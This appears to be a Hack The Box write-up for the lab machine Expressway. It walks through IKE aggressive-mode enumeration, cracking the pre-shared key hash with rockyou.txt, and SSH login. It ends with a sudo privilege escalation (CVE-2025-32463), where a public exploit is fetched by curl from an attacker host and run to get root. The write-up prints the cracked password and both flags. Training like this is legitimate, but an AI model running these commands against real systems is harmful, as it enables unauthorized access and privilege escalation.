Hack The Box Write-Up Expressway - 10.10.11.87
About Expressway
In this post, I’m writing a write-up for the machine Expressway from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.
Expressway is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
Foothold
An Nmap UDP scan revealed that port 500 (IKE/ISAKMP) was open. Further enumeration using ike-scan in Aggressive Mode allowed us to retrieve the IKE handshake information and the pre-shared key (PSK) hash. We then used psk-crack with the rockyou.txt wordlist to crack the hash, successfully recovering the password freakingrockstarontheroad.
User
With the discovered credentials, we were able to establish an SSH connection to the machine as the user ike. After successfully logging in, we accessed the user’s home directory and retrieved the user.txt flag.
Root
To identify potential privilege escalation vectors, we ran linpeas.sh on the target machine. During enumeration, we discovered that the installed Sudo version (1.9.17) was vulnerable to CVE-2025-32463. We downloaded the public exploit, transferred it to the target machine and executed it as the user ike. The exploit successfully provided us with a root shell. After verifying our privileges using the id command, we accessed the root directory and retrieved the root.txt flag.
Machine Info
| Machine Name: | Expressway |
| Difficulty: | Easy |
| Points: | 20 |
| Release Date: | 20 Sep 2025 |
| IP: | 10.10.11.87 |
| Creator: | dakkmaddy |
Reconnaissance
Portscan with Nmap
As always, we start this machine with a portscan with Nmap. Before starting the port scan, I’ve added the hostname expressway.htb to the /etc/hosts file and pointed this hostname to the IP address 10.10.11.87.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ sudo nmap -sC -sV -oA ./nmap/expressway.htb expressway.htb
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 06:44 EDT
Nmap scan report for expressway.htb (10.10.11.87)
Host is up (0.051s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NUL
L, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|_ Not allowed at this time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.95%I=7%D=9/22%Time=68D1289C%P=x86_64-pc-linux-gnu%r(NULL
SF:,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(GenericLines,1A,"Not\
SF:x20allowed\x20at\x20this\x20time\r\n")%r(GetRequest,1A,"Not\x20allowed\
SF:x20at\x20this\x20time\r\n")%r(HTTPOptions,1A,"Not\x20allowed\x20at\x20t
SF:his\x20time\r\n")%r(RTSPRequest,1A,"Not\x20allowed\x20at\x20this\x20tim
SF:e\r\n")%r(RPCCheck,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(DNS
SF:VersionBindReqTCP,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(DNSS
SF:tatusRequestTCP,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(Help,1
SF:A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(SSLSessionReq,1A,"Not\x
SF:20allowed\x20at\x20this\x20time\r\n")%r(TerminalServerCookie,1A,"Not\x2
SF:0allowed\x20at\x20this\x20time\r\n")%r(TLSSessionReq,1A,"Not\x20allowed
SF:\x20at\x20this\x20time\r\n")%r(Kerberos,1A,"Not\x20allowed\x20at\x20thi
SF:s\x20time\r\n")%r(SMBProgNeg,1A,"Not\x20allowed\x20at\x20this\x20time\r
SF:\n")%r(X11Probe,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(FourOh
SF:FourRequest,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(LPDString,
SF:1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(LDAPSearchReq,1A,"Not\
SF:x20allowed\x20at\x20this\x20time\r\n")%r(LDAPBindReq,1A,"Not\x20allowed
SF:\x20at\x20this\x20time\r\n")%r(SIPOptions,1A,"Not\x20allowed\x20at\x20t
SF:his\x20time\r\n")%r(LANDesk-RC,1A,"Not\x20allowed\x20at\x20this\x20time
SF:\r\n")%r(TerminalServer,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%
SF:r(NCP,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(NotesRPC,1A,"Not
SF:\x20allowed\x20at\x20this\x20time\r\n")%r(JavaRMI,1A,"Not\x20allowed\x2
SF:0at\x20this\x20time\r\n")%r(WMSRequest,1A,"Not\x20allowed\x20at\x20this
SF:\x20time\r\n")%r(oracle-tns,1A,"Not\x20allowed\x20at\x20this\x20time\r\
SF:n")%r(ms-sql-s,1A,"Not\x20allowed\x20at\x20this\x20time\r\n")%r(afp,1A,
SF:"Not\x20allowed\x20at\x20this\x20time\r\n")%r(giop,1A,"Not\x20allowed\x
SF:20at\x20this\x20time\r\n");
We only have the open port 22/tcp. We need to make sure that we are not missing something, so we also do a port scan for open UDP ports.
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ sudo nmap -sU -sC -sV expressway.htb --open
Result of the UDP scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ sudo nmap -sU expressway.htb --open
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-24 19:39 BST
Nmap scan report for expressway.htb (10.129.98.22)
Host is up (0.028s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
4500/udp open|filtered nat-t-ike
Nmap done: 1 IP address (1 host up) scanned in 1096.20 seconds
We found several open ports. Let’s enumerate port 500/udp a little bit further.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ sudo nmap -p500 -sC -sV expressway.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-24 19:39 BST
Nmap scan report for expressway.htb (10.129.98.22)
Host is up (0.028s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
4500/udp open|filtered nat-t-ike
Nmap done: 1 IP address (1 host up) scanned in 1096.20 seconds
The result.
1
2
3
4
5
6
7
PORT STATE SERVICE VERSION
500/udp open isakmp?
| ike-version:
| attributes:
| XAUTH
|_ Dead Peer Detection v1.0
Final times for host: srtt: 37292 rttvar: 40821 to: 200576
The machine has the port 500/udp open, which is designated for IKE (Internet Key Exchange) to establish secure IPsec VPN tunnels.
Enumeration
IKE
With ike-scan we start the enumeration proces for IKE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ ike-scan -M -A expressway.htb -P
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.98.22 Aggressive Mode Handshake returned
HDR=(CKY-R=74184097d376a295)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
1126ed691032994e2523693bd37ed93dc8255b1ef227db6cda6626e713fe5296ae2e9a87ff86ad3a6454e89aba881487ab5e41446f340ad2c3f0704f620f2d5f009a25db2a350dbc6b7a845763e4d9390fb5e9979c131c868000d067ad2f2
df13f6650b383383ddf7fb4699536a94ed2cfeb4e85bae712a4ec1460160ca6b11c:e9be045f7e940ec2b0e155ef91d6113e2cd8d4a662620b065bbc2755a434b108d2ea05829eaf2b13d1c760c236320c1059b24dab1a051496ccd9bb9ea
c4d186b778f045be2840e9f79e178706f1d989d14f04a36d9553c01dee7e9cbb1b90e32a8c8b4aba138fb44759f56050763a3501ebb9e0184037a8b11eddd937320da47:74184097d376a295:3b9eff9a9e5692b2:0000000100000001000
0009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c00040000708003000024030100008001000180020002
8003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:ea86563161a420a7b222f7e02ff8837
6c2f15a2b:b500ecc8c972ef940f1e21c2c5dbabedf9e50cd25e438c422b0041dd4c436602:61a93039fd029e57a44bf2fe6f77e02c521f930f
Ending ike-scan 1.9.6: 1 hosts scanned in 0.035 seconds (28.84 hosts/sec). 1 returned handshake; 0 returned notify
-M=> Split the payload decode across multiple lines.-A=> Use IKE Aggressive Mode (The default is Main Mode).-P=> Crack aggressive mode pre-shared keys.
From this output we see that the authentication is set to PSK and we also received the PSK-hash. We also see that the useraccount ike@expressway.htb exists on this machine.
The next step is to crack this hash with psk-crack.
1
162074ef5b19ab1fb95fb00b2f4e67aac5c1f36e259b7e7af0fa584dcf120304a300796f2d8cf565091b43425b7764220159040f689cbf769cb6ee4083593711f579e692553111921c38a70dcee27b747b9db472bec2b2388f744e2d771a55f176c65a3f96f907e7580b3a3fae8422af40b574eada417cbebe562bd0c943ffb:83ed3bade9074bd2682761c7c2c6c28485ffbe140a4cad578ca033ad4ccd628aac58a5949245368073fe4012c2e60366fb832677b79d16f37f3cf264b21006c9bbea7f1c3fcd5297053a236f33e70ba486ff72992d20b157b9a11abfec81a473788d84187964a9897a4501c1cc8c6697ca0855bacb26df226ce736438ff090f0:d35b1836385b4aac:d4530781cd1dc05b:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:97c88c53fb281cf21b29fb3a4f2775ec8abd61b4:a4993b75fd5091762bfe8b466a568e1749e7ac7823cbf379a71a007fc3f2feff:d68203e1ae87c46fe37a45677afd663f46122089
With psk-crack adn the wordlist rockyou.txt we can crack this hash
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ psk-crack -d /usr/share/wordlists/rockyou.txt ike.hash
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash d68203e1ae87c46fe37a45677afd663f46122089
Ending psk-crack: 8045040 iterations in 10.861 seconds (740757.04 iterations/sec)
We have now found the password freakingrockstarontheroad
Initial foothold
SSH as ike@expressway.htb
With the founded username and password, we can try to establish an SSH session to this machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ ssh ike@expressway.htb
The authenticity of host 'expressway.htb (10.10.11.87)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password:
Last login: Wed Sep 17 10:26:26 BST 2025 from 10.10.14.77 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 24 20:10:35 2025 from 10.10.16.4
ike@expressway:~$ cat user.txt
df602d39d60a806be473bebbdfffd033
We can directly grab the user.txt. The next step is to gain root access on this machine.
Privilege Escalation
Enumeration
With linpeas.sh we can start the enumeration proces.
1
2
3
4
5
6
7
┌──(ike@expressway:/tmp$
└─$ bash linpeas.sh
...
╔══════════╣ Sudo version
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.9.17
...
As of now, the current stable version of sudo is 1.9.17p2. The version installed on the machine is missing a critical patch released on June 30, 2025, which addresses a major security vulnerability (CVE-2025-32463). This vulnerability could potentially allow a user to execute arbitrary commands as root, even if those commands are not specified in the sudoers file.
Exploitation
CVE-2025-32463
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Documents/htb/machines/expressway]
└─$ git clone https://github.com/kh4sh3i/CVE-2025-32463.git
Cloning into 'CVE-2025-32463'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 40 (delta 12), reused 34 (delta 8), pack-reused 0 (from 0)
Receiving objects: 100% (40/40), 55.71 KiB | 1018.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.
1
2
3
4
5
6
7
8
9
10
11
12
13
ike@expressway:/tmp$ curl 10.10.16.4:8080/exploit.sh -o exploit.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 637 100 637 0 0 6550 0 --:--:-- --:--:-- --:--:-- 6567
ike@expressway:/tmp$ chown +x exploit.sh
chown: invalid user: ‘+x’
ike@expressway:/tmp$ chmod +x exploit.sh
ike@expressway:/tmp$ bash exploit.sh
woot!
root@expressway:/# id
uid=0(root) gid=0(root) groups=0(root),13(proxy),1001(ike)
root@expressway:/# cat root/root.txt
a5720bb49ac89a486c798f8a617d052e
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)